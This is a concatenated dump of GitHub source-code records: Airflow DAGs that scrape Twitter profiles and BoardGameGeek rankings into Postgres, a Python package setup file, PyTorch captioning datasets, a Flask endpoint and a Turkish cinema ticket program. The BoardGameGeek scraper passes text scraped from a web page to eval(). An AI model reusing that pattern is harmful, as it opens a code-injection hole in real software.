query,lang=\"en\",until=until_date, tweet_mode = 'extended').items():\n # tweets\n tweet_id.append(i.id_str)\n user_id.append(i.user.id_str)\n text.append(i.full_text)\n retweeted.append(i.retweet_count)\n favorited.append(i.favorite_count)\n url.append(i.entities['urls'][0]['url']) if len(i.entities['urls'])>0 else url.append(None)\n created_at.append(i.created_at.strftime('%Y-%m-%d %H:%M:%S'))\n # users\n screen_name.append(i.user.screen_name)\n name.append(i.user.name)\n location.append(i.user.location)\n description.append(i.user.description)\n followers.append(i.user.followers_count)\n friends.append(i.user.friends_count)\n listed.append(i.user.listed_count)\n favourites.append(i.user.favourites_count)\n statuses.append(i.user.statuses_count)\n verified.append(i.user.verified)\n profile_bg_image.append(i.user.profile_use_background_image)\n user_created_at.append(i.user.created_at.strftime('%Y-%m-%d %H:%M:%S'))\n \n log.info('Scraping twitter finished')\n \n df_tweets = pd.DataFrame({'tweet_id':tweet_id,'user_id':user_id,'text':text,'retweeted':retweeted,'favorited':favorited,'url_in_text':url,'created_at':created_at})\n #df_tweets = df_tweets.to_json()\n \n df_users = pd.DataFrame({'user_id':user_id,'screen_name':screen_name,'name':name,'location':location,'description':description,'followers':followers,'friends':friends,'listed':listed,'favourites':favourites,'statuses':statuses,'verified':verified,'profile_bg_image':profile_bg_image,'created_at':user_created_at})\n df_users = df_users.drop_duplicates(['user_id']).reset_index(drop=True)\n #df_users = df_users.to_json()\n\n return df_tweets.values.tolist(),df_users.values.tolist()\n\n\n\ndef scrape_data_bgg(**kwargs):\n # Deal with exceptions for requests\n def request(msg, slp=1):\n '''A wrapper to make robust https requests.'''\n status_code = 500 \n while status_code != 200:\n sleep(slp) \n try:\n r = requests.get(msg)\n status_code = r.status_code\n if status_code != 200:\n print(\"Server Error! Response Code %i. Retrying...\" % (r.status_code))\n except:\n print(\"An exception has occurred, waiting one seconds...\")\n sleep(1)\n return r\n \n # Initialize a dataframe\n df_all = pd.DataFrame(columns=[\"rank\",\"game_id\", \"title\",\"geek_rating\",\"avg_rating\",\"votes\", \"pic_url\"])\n npage = 1\n pages = 2\n # Scrape the first several pages\n while npage<=pages:\n # Get full HTML for a specific page in the full list\n r = request(\"https://boardgamegeek.com/browse/boardgame/page/%i\" % (npage))\n soup = BeautifulSoup(r.text, \"html.parser\") \n \n # Get rows on this page\n table = soup.find_all(\"tr\", attrs={\"id\": \"row_\"})\n df = pd.DataFrame(columns=[\"rank\",\"game_id\", \"title\",\"geek_rating\",\"avg_rating\",\"votes\", \"pic_url\"], index=range(len(table)))\n \n # Loop through rows\n for idx, row in enumerate(table):\n # Row may or may not start with a \"boardgame rank\" link, if YES then strip it\n links = row.find_all(\"a\")\n if \"name\" in links[0].attrs.keys():\n del links[0]\n \n gamelink = links[1] # URL\n game_id = int(gamelink[\"href\"].split(\"/\")[2]) # Game ID\n game_name = gamelink.contents[0] # Game name\n imlink = links[0]\n pic_url = imlink.contents[0][\"src\"] # URL of thumbnail\n \n # Rank\n rank_str=row.find_all(\"td\", attrs={\"class\": \"collection_rank\"})[0].contents[2]\n rank=int(\"\".join(rank_str.split()))\n # Geek rating\n geek_rating_str = row.find_all(\"td\", attrs={\"class\": \"collection_bggrating\"})[0].contents[0]\n geek_rating = eval(\"\".join(geek_rating_str.split()))\n # Average rating\n avg_rating_str = row.find_all(\"td\", attrs={\"class\": \"collection_bggrating\"})[1].contents[0]\n avg_rating = eval(\"\".join(avg_rating_str.split()))\n # Number of Voters\n votes_str = row.find_all(\"td\", attrs={\"class\": \"collection_bggrating\"})[2].contents[0]\n votes = int(\"\".join(votes_str.split()))\n \n df.iloc[idx,:] = [rank, game_id, game_name, geek_rating, avg_rating, votes,pic_url]\n\n df_all = pd.concat([df_all, df], axis=0)\n npage += 1\n sleep(2)\n log.info('Scraping BGG finished')\n df_all=df_all.reset_index(drop=True)\n #df_all = df_all.to_json()\n return df_all.values.tolist()\n\n\ndef save_result_to_postgres_db(**kwargs):\n\n # Get the task instance\n task_instance = kwargs['ti']\n print(task_instance)\n\n # Get the output of twitter\n scraped_tweets,scraped_users = task_instance.xcom_pull(task_ids=\"scrape_data_twitter_task\")\n \n log.info('xcom from scrape_data_twitter:{0}'.format(scraped_tweets))\n log.info('xcom from scrape_data_twitter:{0}'.format(scraped_users))\n\n # Get the output of game rank\n scraped_game_rank = task_instance.xcom_pull(task_ids=\"scrape_data_bgg_task\")\n \n log.info('xcom from scrape_data_twitter:{0}'.format(scraped_game_rank))\n \n \n # Connect to the database\n pg_hook = PostgresHook(postgres_conn_id=kwargs[\"postgres_conn_id\"], schema=kwargs['db_name'])\n conn = pg_hook.get_conn()\n cursor = conn.cursor()\n log.info('Initialised connection')\n \n # usesrs\n s1 = \"\"\"INSERT INTO twitter.users(user_id,screen_name,name,location,description,followers,friends,listed,favourites,statuses,verified,profile_bg_image,created_at) VALUES (%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s) ON CONFLICT (user_id) DO UPDATE SET (user_id,screen_name,name,location,description,followers,friends,listed,favourites,statuses,verified,profile_bg_image,created_at)=(EXCLUDED.user_id,EXCLUDED.screen_name,EXCLUDED.name,EXCLUDED.location,EXCLUDED.description,EXCLUDED.followers,EXCLUDED.friends,EXCLUDED.listed,EXCLUDED.favourites,EXCLUDED.statuses,EXCLUDED.verified,EXCLUDED.profile_bg_image,EXCLUDED.created_at);\"\"\"\n cursor.executemany(s1, scraped_users)\n conn.commit()\n\n log.info('Finished saving users data to database') \n \n # tweets\n s2 = \"\"\"INSERT INTO twitter.tweets(tweet_id,user_id,text,retweeted,favourited,url_in_text,created_at) VALUES (%s, %s, %s, %s,%s,%s,%s) ON CONFLICT (tweet_id) DO UPDATE SET (tweet_id,user_id,text,retweeted,favourited,url_in_text,created_at)=(EXCLUDED.tweet_id,EXCLUDED.user_id,EXCLUDED.text,EXCLUDED.retweeted,EXCLUDED.favourited,EXCLUDED.url_in_text,EXCLUDED.created_at);\"\"\"\n cursor.executemany(s2, scraped_tweets)\n conn.commit()\n\n log.info('Finished saving the scraped tweets to database')\n\n # BGG game rank\n s3 = \"\"\"INSERT INTO games.game_rank(rank,game_id,title,geek_rating,avg_rating,votes,pic_url) VALUES (%s, %s, %s, %s,%s,%s,%s) ON CONFLICT (game_id) DO UPDATE SET (rank,game_id,title,geek_rating,avg_rating,votes,pic_url)=(EXCLUDED.rank,EXCLUDED.game_id,EXCLUDED.title,EXCLUDED.geek_rating,EXCLUDED.avg_rating,EXCLUDED.votes,EXCLUDED.pic_url);\"\"\"\n cursor.executemany(s3, scraped_game_rank)\n conn.commit()\n conn.close()\n \n\n# =============================================================================\n# 3. Set up the main configurations of the dag\n# ============================================================================= \nscrape_data_twitter_task = PythonOperator(\n task_id='scrape_data_twitter_task',\n provide_context=True,\n python_callable=scrape_data_twitter,\n op_kwargs=default_args,\n dag=dag)\n\nscrape_data_bgg_task = PythonOperator(\n task_id='scrape_data_bgg_task',\n provide_context=True,\n python_callable=scrape_data_bgg,\n op_kwargs=default_args,\n dag=dag)\n\nsave_result_to_postgres_db_task = PythonOperator(\n task_id='save_result_to_postgres_db_task',\n provide_context=True,\n python_callable=save_result_to_postgres_db,\n trigger_rule=TriggerRule.ALL_SUCCESS,\n op_kwargs=default_args,\n dag=dag)\n\n\n\n# =============================================================================\n# 4. Indicating the order of the dags\n# =============================================================================\n\nscrape_data_twitter_task >> scrape_data_bgg_task >> save_result_to_postgres_db_task","repo_name":"Rita-Pang/individual","sub_path":"airflow_individual.py","file_name":"airflow_individual.py","file_ext":"py","file_size_in_byte":11652,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"27629647887","text":"import re, ast\nfrom setuptools import find_packages, setup\n\nclasses = \"\"\"\n License :: OSI Approved :: BSD License\n Topic :: Scientific/Engineering\n Topic :: Scientific/Engineering :: Bio-Informatics\n Programming Language :: Python :: 3.6\n Programming Language :: Python :: 3 :: Only\n Operating System :: Unix\n Operating System :: POSIX\n Operating System :: MacOS :: MacOS X\n\"\"\"\n\nclassifiers = [s.strip() for s in classes.split('\\n') if s]\n\ndescription = (\n \"microbiome_analyzer is a command line tool that writes commands to run one\"\n \"by one to perform analyses (mainly using qiime2) on a HPC running Slurm,\"\n \"Torque or none of these.\"\n)\n\nwith open(\"README.md\") as f:\n long_description = f.read()\n\n_version_re = re.compile(r\"__version__\\s+=\\s+(.*)\")\n\nwith open(\"microbiome_analyzer/__init__.py\", \"rb\") as f:\n hit = _version_re.search(f.read().decode(\"utf-8\")).group(1)\n version = str(ast.literal_eval(hit))\n\nstandalone = ['microbiome_analyzer=microbiome_analyzer.scripts._standalone_analyzer:standalone_analyzer']\n\nsetup(\n name=\"microbiome_analyzer\",\n version=version,\n license=\"BSD\",\n description=description,\n long_description=long_description,\n long_description_content_type=\"text/markdown\",\n author=\"Franck Lejzerowicz\",\n author_email=\"franck.lejzerowicz@gmail.com\",\n maintainer=\"Franck Lejzerowicz\",\n maintainer_email=\"franck.lejzerowicz@gmail.com\",\n url=\"https://github.com/FranckLejzerowicz/microbiome_analyzer\",\n packages=find_packages(),\n install_requires=[\n \"click==7.1.2\",\n \"pandas\",\n \"scikit-bio==0.5.6\",\n \"numpy\",\n \"scipy\",\n \"pyyaml\",\n \"plotly==4.8.2\",\n \"biom-format\",\n \"seaborn\",\n \"Xhpc==2.9.1\"\n ],\n classifiers=classifiers,\n entry_points={'console_scripts': standalone},\n package_data={\n 'routine_qiime2_analyses': [\n 'test/*/*/*',\n 'resources/run_params.yml',\n 'resources/beta_metrics.txt',\n 'resources/alpha_metrics.txt',\n 'resources/wol/wol_tree.nwk',\n 'resources/wol/g2lineage.txt',\n 'resources/r_scripts/doc.R',\n 'resources/sh_scripts/nestedness.sh',\n 'resources/sh_scripts/spatial_autocorrelation_modeling.sh',\n 'resources/python_scripts/nestedness_nodfs.py',\n 'resources/python_scripts/nestedness_graphs.py',\n 'resources/python_scripts/summarize_permanovas.py',\n 'resources/python_scripts/mmvec_pre_paired-heatmaps.py',\n 'examples/*'\n ],\n },\n include_package_data=True,\n python_requires='>=3.6',\n)\n","repo_name":"FranckLejzerowicz/microbiome_analyzer","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":2662,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"22935684033","text":"import torch\nimport os\nimport copy\nimport numpy as np\nimport pickle\nimport torch.utils.data as tdata\nfrom ClassRepository.DatasetClass import CaptionData\nfrom PIL import Image\n\n#------------------------------Dataset utils-------------------------------#\ndef get_img_path(img_root,img_filename,dataset_name,split=None):\n img_path = None\n if dataset_name in ['Flickr8K','Flickr30K']:\n img_path = os.path.join(img_root, img_filename)\n elif dataset_name == 'COCO14':\n if 'train' in img_filename.lower():\n img_path = os.path.join(img_root, 'train2014', img_filename)\n else:\n img_path = os.path.join(img_root, 'val2014', img_filename)\n elif dataset_name == 'COCO17':\n img_path = os.path.join(img_root,split+'2017',img_filename)\n return img_path\n\n#----------------------------Datasets---------------------------------------#\n#-(anns_keys)\nclass CaptionTrainDataset(tdata.Dataset):\n def __init__(self,img_root,cap_ann_path,vocab,img_transform=None,dataset_name=None,supp_infos=[],supp_dir=None):\n self.img_root = img_root\n self.capdata = CaptionData(annotation_file=cap_ann_path)\n self.vocab = vocab\n self.ids = list(self.capdata.anns.keys())\n self.img_transform = img_transform\n self.dataset_name = dataset_name\n self.supp_infos = supp_infos\n self.supp_dir = supp_dir\n\n def __getitem__(self, index):\n ann_id = self.ids[index]\n img_id = self.capdata.anns[ann_id]['image_id']\n img_filename = self.capdata.anns[ann_id]['file_name']\n img_path = get_img_path(img_root=self.img_root,img_filename=img_filename,dataset_name=self.dataset_name,split='train')\n original_img = Image.open(img_path).convert('RGB')\n img_tensor = None\n if self.img_transform is not None:\n transformed_img = self.img_transform(original_img)\n img_tensor = copy.deepcopy(transformed_img)\n tokens = self.capdata.anns[ann_id]['tokens']\n caption = []\n caption.append(self.vocab('<sta>'))\n caption.extend(self.vocab(token) for token in tokens)\n caption.append(self.vocab('<end>'))\n target = torch.Tensor(caption)\n #--------for supplementary informations--------------#\n supp_info_data = {}\n if 'fixed_bu_feat' in self.supp_infos:\n bu_feat = np.load(os.path.join(self.supp_dir, 'fixed_bu_feat/%s.npz' % (str(img_id))))['feat'] #(36,2048)\n bu_bbox = np.load(os.path.join(self.supp_dir, 'fixed_bu_bbox/%s.npy' % (str(img_id)))) #(36,4)\n supp_info_data.update({'bu_feat':bu_feat,'bu_bbox':bu_bbox})\n elif 'adaptive_bu_feat' in self.supp_infos:\n bu_feat = np.load(os.path.join(self.supp_dir, 'adaptive_bu_feat/%s.npz' % (str(img_id))))['feat'] #(10~100,2048)\n bu_bbox = np.load(os.path.join(self.supp_dir, 'adaptive_bu_bbox/%s.npy' % (str(img_id)))) #(10~100,4)\n supp_info_data.update({'bu_feat':bu_feat,'bu_bbox':bu_bbox})\n\n return img_id,img_tensor,target,supp_info_data\n\n def __len__(self):\n return len(self.ids)\n\n#-(imgs_keys)\nclass CaptionTrainSCSTDataset(tdata.Dataset):\n def __init__(self,img_root,cap_ann_path,img_transform=None,dataset_name=None,supp_infos=[],supp_dir=None):\n self.img_root = img_root\n self.capdata = CaptionData(annotation_file=cap_ann_path)\n self.ids = list(self.capdata.imgs.keys())\n self.img_transform = img_transform\n self.dataset_name = dataset_name\n self.supp_infos = supp_infos\n self.supp_dir = supp_dir\n\n def __getitem__(self, index):\n img_id = self.ids[index]\n img_filename = self.capdata.imgs[img_id]['file_name']\n img_path = get_img_path(img_root=self.img_root,img_filename=img_filename,dataset_name=self.dataset_name,split='train')\n original_img = Image.open(img_path).convert('RGB')\n img_tensor = None\n if self.img_transform is not None:\n transformed_img = self.img_transform(original_img)\n img_tensor = copy.deepcopy(transformed_img)\n\n img_entry = self.capdata.imgs[img_id] #{'file_name': 'COCO_val2014_000000522418.jpg', 'id': 522418, 'sentids': [681330, 686718, 688839, 693159, 693204], 'sentences': [{'tokens': ['a', 'woman', 'wearing',......\n gt_captions = []\n for sent in img_entry['sentences']:\n token_list = sent['tokens']\n cap = ' '.join(token_list)\n gt_captions.append(cap)\n img_gt_captions = {img_id:gt_captions}\n\n #--------for supplementary informations--------------#\n supp_info_data = {}\n if 'fixed_bu_feat' in self.supp_infos:\n bu_feat = np.load(os.path.join(self.supp_dir, 'fixed_bu_feat/%s.npz' % (str(img_id))))['feat'] #(36,2048)\n bu_bbox = np.load(os.path.join(self.supp_dir, 'fixed_bu_bbox/%s.npy' % (str(img_id)))) #(36,4)\n supp_info_data.update({'bu_feat':bu_feat,'bu_bbox':bu_bbox})\n elif 'adaptive_bu_feat' in self.supp_infos:\n bu_feat = np.load(os.path.join(self.supp_dir, 'adaptive_bu_feat/%s.npz' % (str(img_id))))['feat'] #(10~100,2048)\n bu_bbox = np.load(os.path.join(self.supp_dir, 'adaptive_bu_bbox/%s.npy' % (str(img_id)))) #(10~100,4)\n supp_info_data.update({'bu_feat':bu_feat,'bu_bbox':bu_bbox})\n\n return img_id,img_tensor,img_gt_captions,supp_info_data\n\n def __len__(self):\n return len(self.ids)\n\n#-(imgs_keys)\nclass CaptionEvalDataset(tdata.Dataset):\n def __init__(self,img_root,cap_ann_path,img_transform=None,dataset_name=None,eval_split=None,supp_infos=[],supp_dir=None):\n self.img_root = img_root\n self.capdata = CaptionData(annotation_file=cap_ann_path)\n self.ids = list(self.capdata.imgs.keys())\n self.img_transform = img_transform\n self.dataset_name = dataset_name\n self.eval_split = eval_split\n self.supp_infos = supp_infos\n self.supp_dir = supp_dir\n\n def __getitem__(self, index):\n img_id = self.ids[index]\n img_filename = self.capdata.imgs[img_id]['file_name']\n img_path = get_img_path(img_root=self.img_root,img_filename=img_filename,dataset_name=self.dataset_name,split=self.eval_split)\n original_img = Image.open(img_path).convert('RGB')\n img_tensor = None\n if self.img_transform is not None:\n transformed_img = self.img_transform(original_img)\n img_tensor = copy.deepcopy(transformed_img)\n\n #--------for supplementary informations--------------#\n supp_info_data = {}\n if 'fixed_bu_feat' in self.supp_infos:\n bu_feat = np.load(os.path.join(self.supp_dir, 'fixed_bu_feat/%s.npz' % (str(img_id))))['feat'] #(36,2048)\n bu_bbox = np.load(os.path.join(self.supp_dir, 'fixed_bu_bbox/%s.npy' % (str(img_id)))) #(36,4)\n supp_info_data.update({'bu_feat':bu_feat,'bu_bbox':bu_bbox})\n elif 'adaptive_bu_feat' in self.supp_infos:\n bu_feat = np.load(os.path.join(self.supp_dir, 'adaptive_bu_feat/%s.npz' % (str(img_id))))['feat'] #(10~100,2048)\n bu_bbox = np.load(os.path.join(self.supp_dir, 'adaptive_bu_bbox/%s.npy' % (str(img_id)))) #(10~100,4)\n supp_info_data.update({'bu_feat':bu_feat,'bu_bbox':bu_bbox})\n\n return img_id,img_tensor,supp_info_data\n\n def __len__(self):\n return len(self.ids)\n\n#-------------Dataloader_collate_fn------------------#\ndef COCOCaptionTrain_collate_fn(data):\n data.sort(key=lambda x:len(x[2]),reverse=True)\n img_ids,img_tensors,captions,supp_info_datas = zip(*data)\n img_tensors = torch.stack(img_tensors,0)\n lengths = [len(cap) for cap in captions]\n targets = torch.zeros(len(captions), max(lengths)).long()\n for i, cap in enumerate(captions):\n end = lengths[i]\n targets[i, :end] = cap[:end]\n return img_ids,img_tensors,targets,lengths,supp_info_datas\n\ndef COCOCaptionTrainSCST_collate_fn(data):\n img_ids,img_tensors,img_gts,supp_info_datas = zip(*data)\n img_tensors = torch.stack(img_tensors,0)\n gts = {}\n for gt in img_gts:\n gts.update(gt)\n return img_ids,img_tensors,gts,supp_info_datas\n\ndef COCOCaptionEval_collate_fn(data):\n img_ids,img_tensors,supp_info_datas = zip(*data)\n img_tensors = torch.stack(img_tensors,0)\n return img_ids,img_tensors,supp_info_datas\n\nif __name__ == '__main__':\n img_root = './Datasets/MSCOCO/2014/'\n train_cap_path = './Datasets/MSCOCO/2014/modified_annotations/captions_train.json'\n eval_cap_path = './Datasets/MSCOCO/2014/modified_annotations/captions_test.json'\n vocab = pickle.load(open('./Data/MSCOCO/2014/caption_vocab.pkl','rb'))\n import torchvision.transforms as transforms\n img_transform = transforms.Compose([\n transforms.Resize((224,224),interpolation=Image.LANCZOS),\n transforms.RandomHorizontalFlip(p=0.5),\n transforms.ToTensor(),\n transforms.Normalize(mean=(0.485, 0.456, 0.406), std=(0.229, 0.224, 0.225))\n ])\n dataset_name = 'COCO14'\n supp_dir = './Data/MSCOCO/2014/'\n train_dataset = CaptionTrainDataset(\n img_root=img_root,\n cap_ann_path=train_cap_path,\n vocab=vocab,\n img_transform=img_transform,\n dataset_name=dataset_name,\n supp_infos=[],\n supp_dir=supp_dir\n )\n train_dataloader = tdata.DataLoader(\n dataset=train_dataset,\n batch_size=64,\n shuffle=True,\n num_workers=4,\n collate_fn=COCOCaptionTrain_collate_fn\n )\n eval_dataset = CaptionEvalDataset(\n img_root=img_root,\n cap_ann_path=eval_cap_path,\n img_transform=img_transform,\n dataset_name=dataset_name,\n eval_split='test',\n supp_infos=['adaptive_bu_feat'],\n supp_dir=supp_dir\n )\n eval_dataloader = tdata.DataLoader(\n dataset=eval_dataset,\n batch_size=64,\n shuffle=False,\n num_workers=4,\n collate_fn=COCOCaptionEval_collate_fn\n )\n scst_train_dataset = CaptionTrainSCSTDataset(\n img_root=img_root,\n cap_ann_path=train_cap_path,\n img_transform=img_transform,\n dataset_name=dataset_name,\n supp_infos=['adaptive_bu_feat'],\n supp_dir=supp_dir\n )\n scst_train_dataloader = tdata.DataLoader(\n dataset=scst_train_dataset,\n batch_size=64,\n shuffle=True,\n num_workers=4,\n collate_fn=COCOCaptionTrainSCST_collate_fn\n )\n import time\n import tqdm\n t0 = time.time()\n train_data_it = iter(train_dataloader)\n print(next(train_data_it))\n eval_data_it = iter(eval_dataloader)\n print(next(eval_data_it))\n scst_data_it = iter(scst_train_dataloader)\n print(next(scst_data_it))\n for (_,_,_) in tqdm.tqdm(eval_dataloader):\n pass\n\n t1 = time.time()\n print('iteration time: %.2fs' % (t1-t0))\n","repo_name":"zyj0021200/simpleImageCaptionZoo","sub_path":"Datasets.py","file_name":"Datasets.py","file_ext":"py","file_size_in_byte":10873,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"61"} +{"seq_id":"71124239235","text":"from flask import Blueprint, jsonify, make_response, request\r\nfrom services.genera_solicitud_corridas_service import ObtenerCorridasService\r\nfrom utils.utilities import Utilities\r\nfrom exceptions.exceptions import ExceptionsQR\r\nfrom flask import abort\r\n\r\nimport datetime\r\n\r\nobtenercorridas = Blueprint('obtenercorridas', __name__)\r\n\r\n\r\nclass ObtenerCorridasController:\r\n\r\n @obtenercorridas.route('/corridas', methods=['GET'])\r\n def obtenercorridas():\r\n try:\r\n Utilities.init_time = datetime.datetime.now()\r\n Utilities.log_request = request\r\n body = request.get_json()\r\n usuario = request.headers.get('x-idUsuario')\r\n service = ObtenerCorridasService()\r\n response = service.obtener_datos_corridas(body, usuario)\r\n except ExceptionsQR as ex:\r\n Utilities.print_log_error(ex)\r\n abort(500)\r\n Utilities.print_log()\r\n return response\r\n","repo_name":"elagabalus01/ejemplos-docker","sub_path":"microservicio-corridas/src/controllers/genera_solicitud_corridas_controller.py","file_name":"genera_solicitud_corridas_controller.py","file_ext":"py","file_size_in_byte":950,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"70599020036","text":"letterList = [\"A\", \"B\", \"C\", \"D\", \"E\"]\nseatList = [[\n [[\"X\", \"A1\"], [\" \", \"\"], [\" \", \"\"], [\" \", \"\"], [\" \", \"\"]],\n [[\"X\", \"B1\"], [\"X\", \"B2\"], [\" \", \"\"], [\" \", \"\"], [\" \", \"\"]],\n [[\"X\", \"C1\"], [\"X\", \"C2\"], [\"X\", \"C3\"], [\" \", \"\"], [\" \", \"\"]],\n [[\"X\", \"D1\"], [\"X\", \"D2\"], [\"X\", \"D3\"], [\"X\", \"D4\"], [\" \", \"\"]],\n [[\"X\", \"E1\"], [\"X\", \"E2\"], [\"X\", \"E3\"], [\"X\", \"E4\"], [\"X\", \"E5\"]],\n],\n [\n [[\" \", \"\"], [\" \", \"\"], [\" \", \"\"], [\" \", \"\"], [\"X\", \"A5\"]],\n [[\" \", \"\"], [\" \", \"\"], [\" \", \"\"], [\"X\", \"B4\"], [\"X\", \"B5\"]],\n [[\" \", \"\"], [\" \", \"\"], [\"X\", \"C3\"], [\"X\", \"C4\"], [\"X\", \"C5\"]],\n [[\" \", \"\"], [\"X\", \"D2\"], [\"X\", \"D3\"], [\"X\", \"D4\"], [\"X\",\n \"D5\"]],\n [[\"X\", \"E1\"], [\"X\", \"E2\"], [\"X\", \"E3\"], [\"X\", \"E4\"],\n [\"X\", \"E5\"]],\n ]]\nreserveSeat = []\nmoviegoer = \"\"\nisCompare = False\n\n\ndef seatView(list):\n x = 23\n\n for i in range(x):\n print(\"*\", end='')\n print(\"< P E R D E >\", end='')\n\n for i in range(x):\n print(\"*\", end='')\n print(\"\\n\")\n\n for i in range(0, 5):\n\n print(\"| \", letterList[i], \">>| \", list[i][0][0], \" | \",\n list[i][1][0], \" | \", list[i][2][0], \" | \", list[i][3][0],\n \" | \", list[i][4][0], \" |\\n\")\n\n for i in range(2 * x + 13):\n print(\"_\", end='')\n print(\"\\n\")\n print(\"| |^^^ 1 ^^^|^^^ 2 ^^^|^^^ 3 ^^^|^^^ 4 ^^^|^^^ 5 ^^^|\\n\")\n\n for i in range(2 * x + 13):\n print(\"*\", end='')\n print(\"\\n\")\n\n\ndef buyTickets(saloon):\n seatCode = input(\"Lütfen Satın Almak İstediğiniz Koltuk Kodunu Giriniz: \")\n seatCode = seatCode.upper()\n reserveSeat.clear()\n reserveSeat.append([letterList.index(seatCode[0]), int(seatCode[1])])\n if seatList[saloon][reserveSeat[0][0]][reserveSeat[0][1] - 1][0] == \"X\":\n isNull = False\n else:\n isNull = True\n\n if not isNull:\n print(\"Koltuk Boş Değil. Lütfen Boş Bir Koltuk Seçiniz...\")\n buyTickets(saloon)\n else:\n moviegoer = input(\"İzleyici Adını Giriniz:\")\n moviegoer = moviegoer.upper()\n seatList[saloon][reserveSeat[0][0]][reserveSeat[0][1] - 1][1] = moviegoer\n print(seatList[saloon][reserveSeat[0][0]][reserveSeat[0][1] - 1][1],\n \" İzleyicisine Bilet Başarılı Bir Şekilde Satıldı.\")\n seatList[saloon][reserveSeat[0][0]][reserveSeat[0][1] - 1][0] = \"X\"\n seatView(seatList[saloon])\n\n\ndef cancelTickets(saloon):\n seatCode = input(\"Lütfen İade Almak İstediğiniz Koltuk Kodunu Giriniz: \")\n seatCode = seatCode.upper()\n moviegoer = input(\"İzleyici Adını Giriniz: \")\n moviegoer = moviegoer.upper()\n reserveSeat.clear()\n reserveSeat.append([letterList.index(seatCode[0]), int(seatCode[1])])\n\n if (seatList[saloon][reserveSeat[0][0]][reserveSeat[0][1] - 1][0] == \" \"):\n print(\"Koltuk Boş. Lütfen Dolu Bir Koltuk Seçiniz...\")\n isCompare = False\n cancelTickets(saloon)\n elif (seatList[saloon][reserveSeat[0][0]][reserveSeat[0][1] - 1][0] == \"X\"\n and seatList[saloon][reserveSeat[0][0]][reserveSeat[0][1] - 1][1]\n == moviegoer.upper()):\n isCompare = True\n else:\n isCompare = False\n print(\"Bilet Bilgileri Eşleşmemektedir...\")\n\n print(\"Koltuk Nu:\", seatCode, \" İzleyici Adı: \", moviegoer)\n\n if isCompare:\n seatList[saloon][reserveSeat[0][0]][reserveSeat[0][1] - 1][0] = \" \"\n seatList[saloon][reserveSeat[0][0]][reserveSeat[0][1] - 1][1] = \"\"\n print(\"İzleyici Bileti İade Edildi.\")\n seatView(seatList[saloon])\n else:\n pass\n\n\ndef checkTickets(saloon):\n seatCode = input(\"Lütfen Kontol Etmek İstediğiniz Koltuk Kodunu Giriniz: \")\n seatCode = seatCode.upper()\n moviegoer = input(\"İzleyici Adını Giriniz: \")\n moviegoer = moviegoer.upper()\n reserveSeat.clear()\n reserveSeat.append([letterList.index(seatCode[0]), int(seatCode[1])])\n\n if (seatList[saloon][reserveSeat[0][0]][reserveSeat[0][1] - 1][0] == \" \"):\n print(\"Koltuk Boş. Lütfen Dolu Bir Koltuk Seçiniz...\")\n isCompare = False\n checkTickets(saloon)\n elif (seatList[saloon][reserveSeat[0][0]][reserveSeat[0][1] - 1][0] == \"X\"\n and seatList[saloon][reserveSeat[0][0]][reserveSeat[0][1] - 1][1]\n == moviegoer):\n isCompare = True\n else:\n isCompare = False\n print(\"Bilet Bilgileri Eşleşmemektedir...\")\n\n if isCompare:\n print(\"Koltuk Nu:\", seatCode, \" İzleyici Adı: \", moviegoer)\n print(\"Bilet Bilgileri Eşleşmektedir...\")\n else:\n pass\n\n\ndef Menu(num):\n\n menuItem = int(\n input(\n \"\\t\\t [1] Koltuk Görüntüle\\n\\t\\t [2] Bilet Satın Al\\n\\t\\t [3] Bilet İade\\n\\t\\t [4] Bilet Kontrol\\n\"\n ))\n\n if menuItem > 0 and menuItem < 5:\n if menuItem == 1:\n seatView(seatList[num])\n if menuItem == 2:\n buyTickets(num)\n if menuItem == 3:\n cancelTickets(num)\n if menuItem == 4:\n checkTickets(num)\n else:\n print(\"Hatalı Seçim Yapıldı.\")\n\n\ndef FilmSelect():\n filmEnum = int(\n input(\n \"Lütfen Film Seçiniz\\n [1] Cars (Arabalar)\\n [2] Ice Age (Buz Devri)\\n\"\n ))\n\n if filmEnum == 1 or filmEnum == 2:\n Menu(filmEnum - 1)\n else:\n print(\"Hatalı seçim yapıldı...\")\n\n\nwhile True:\n FilmSelect()\n","repo_name":"muratyildirim89/python-homework-second-week","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5182,"program_lang":"python","lang":"tr","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"15634851803","text":"# first step\nfrom datetime import timedelta\nimport airflow\nfrom airflow import DAG\nfrom airflow.operators.bash_operator import BashOperator\nfrom airflow.operators.python_operator import PythonOperator\nfrom airflow.contrib.operators.snowflake_operator import SnowflakeOperator\n\n# second step\ndefault_args = {\n 'owner': 'airflow',\n 'start_date': airflow.utils.dates.days_ago(2),\n 'depends_on_past': False,\n 'email': ['vlasbelyaev@gmail.com'],\n 'email_on_failure': False,\n 'email_on_retry': False,\n 'retries': 1,\n 'retry_delay': timedelta(minutes=5)\n\n}\n# third step\ndag = DAG(\n 'tutorial1',\n default_args=default_args,\n description='A simple tutorial DAG',\n schedule_interval=timedelta(days=1)\n)\n\n# fourth step\nt1 = BashOperator(\n task_id='print_date',\n bash_command='date',\n dag=dag\n)\nt1.doc_md = \"\"\"### TASK Documentation\"\"\"\ndag.doc_md = __doc__\n\nt2 = BashOperator(\n task_id='sleep',\n depends_on_past=False,\n bash_command='sleep 5',\n dag=dag\n)\n# language=BASH\n# templated_command = \"\"\"\n# {% for i in range(5) %}\n# echo \"{{ params.my_param }}\"\n# {% endfor %}\n# \"\"\"\n\n# t3 = BashOperator(\n# task_id='templated',\n# depends_on_past=False,\n# bash_command=templated_command,\n# params={'my_param', 'I passed a param'},\n# dag=dag\n# )\n\ndef someCallable(ds, **kwargs):\n print(kwargs)\n print(ds)\n return \"This message will be printed into console logs\"\n\nt3 = PythonOperator(\n task_id = \"python\",\n python_callable=someCallable,\n dag=dag,\n)\n\nSNOWFLAKE_SCHEMA = 'YOUR-SCHEMA'\nSNOWFLAKE_WAREHOUSE = 'WAREHOUSE'\nSNOWFLAKE_CONN_ID = 'CONNECTION_ID'\nSQL_SELECT_STATEMENT = 'some sql 